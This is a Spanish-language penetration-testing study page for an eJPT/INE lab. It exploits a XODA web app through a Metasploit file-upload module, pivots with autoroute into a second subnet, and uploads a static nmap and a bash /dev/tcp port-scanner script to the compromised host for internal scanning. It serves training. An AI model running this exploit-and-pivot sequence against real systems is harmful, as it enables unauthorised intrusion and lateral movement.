> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/recopilacion-y-enumeracion-de-informacion/enumeracion/escaneo-de-puertos-con-modulos-auxiliares.md).
# Escaneo de puertos con módulos auxiliares
🔧 Módulos Auxiliares
* Los **módulos auxiliares** se utilizan para llevar a cabo funcionalidades como **escaneo, descubrimiento y fuzzing**.
* Podemos utilizar estos módulos para realizar escaneos de puertos **TCP y UDP**, así como para **enumerar información** de servicios como **FTP, SSH, HTTP**, entre otros.
* Son útiles tanto durante la **fase de reconocimiento** de una prueba de penetración, como en la fase de **post-explotación**.
* También se pueden usar para **descubrir hosts** y realizar escaneos de puertos en **subredes diferentes**, después de haber obtenido acceso inicial a un sistema objetivo.
***
## 🧰 Infraestructura del Laboratorio
1. Nuestro objetivo inicial será **utilizar módulos auxiliares para descubrir puertos abiertos** en nuestro **primer objetivo**.
2. El siguiente paso consistirá en **explotar el servicio** que se esté ejecutando en el objetivo para obtener una **persistencia o punto de apoyo (foothold)**.
3. Una vez conseguido ese acceso, lo utilizaremos para **acceder a otros sistemas** en una **subred de red distinta** mediante **pivoting**.
4. Finalmente, usaremos los **módulos auxiliares nuevamente** para **escanear puertos abiertos** en el **segundo objetivo**.
***
## 🧪 Laboratorio Práctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.
**Paso 2:** Verifique si la máquina de destino es accesible:
**Dominio:**
```
ping -c 4 demo1.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Escaneo de puertos con Nmap
Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
nmap demo1.ine.local
```
Como se muestra en la siguiente captura de pantalla, el escaneo predeterminado de Nmap revela el puerto 80 abierto.
**Paso 4:** Verifique el contenido HTTP alojado en el puerto 80 de la máquina de destino
**Dominio:**
```
curl demo1.ine.local
```
Como se menciona en el desafío, hay una instancia de aplicación web XODA ejecutándose en el sistema que puede explotarse utilizando el módulo Metasploit “exploit/unix/webapp/xoda\_file\_upload”.
**Paso 5:** Iniciar msfconsole
**Dominio:**
```
msfconsole
```
**Paso 6:** Seleccione el módulo mencionado y configure los valores de los parámetros
**Dominio:**
```
use exploit/unix/webapp/xoda_file_upload
set RHOSTS demo1.ine.local
set TARGETURI /
set LHOST 192.63.4.2
exploit
```
Se genera una sesión de meterpreter en la máquina de destino.
**Paso 7:** Inicie un shell de comandos e identifique el rango de direcciones IP de la segunda máquina de destino.
**Dominio:**
```
shell
ip addr
```
La dirección IP de la primera máquina de destino en su interfaz eth1 es 192.180.108.2, la segunda máquina de destino estará ubicada en 192.180.108.3 en la segunda red.
**Paso 8:** agrega la ruta a la tabla de enrutamiento de Metasploit.
**Dominio:**
```
run autoroute -s 192.180.108.2
```
**Paso 9:** Ponga en segundo plano la sesión actual de meterpreter y utilice el módulo portscan tcp de Metasploit para escanear la segunda máquina de destino.
Presione CTRL+z y Enter y para poner en segundo plano la sesión de meterpreter.
**Dominio:**
```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.180.108.3
set verbose false
set ports 1-1000
exploit
```
**Paso 10:** Verifique los binarios estáticos disponibles en el directorio "/usr/bin/".
**Dominio:**
```
ls -al /root/static-binaries/nmap
file /root/static-binaries/nmap
```
**Paso 11:** Ponga en segundo plano la sesión de Metasploit y cree un script de escaneo de puerto bash.
Presione CTRL+z para poner en segundo plano la sesión de Metasploit.
Usando el script proporcionado en \[] como referencia, cree un script bash para escanear los primeros 1000 puertos
**Dominio:**
#!/bin/bash
for port in {1..1000}; do
timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"
done
Guarde el script como bash-port-scanner.sh
**Paso 12:** Ponga en primer plano la sesión de Metasploit y cambie a la sesión de meterpreter.
Presione "fg" y presione enter para poner en primer plano la sesión de Metasploit.
**Dominio:**
```
sessions -i 1
```
**Paso 13:** Cargue el binario estático nmap y el script del escáner de puerto bash en la máquina de destino.
**Dominio:**
```
upload /root/static-binaries/nmap /tmp/nmap
upload /root/bash-port-scanner.sh /tmp/bash-port-scanner.sh
```
**Paso 14:** Haga que el binario y el script sean ejecutables y use el script bash para escanear la segunda máquina de destino.
**Dominio:**
```
shell
cd /tmp/
chmod +x ./nmap ./bash-port-scanner.sh
./bash-port-scanner.sh 192.180.108.3
```
Hay tres puertos abiertos en la máquina de destino: los puertos 21, 22 y 80.
**Paso 15:** utilizando el binario nmap, escanee la máquina de destino en busca de puertos abiertos.
**Dominio:**
```
./nmap -p- 192.180.108.3
```
Los servicios que se ejecutan en la máquina de destino son FTP, SSH y HTTP.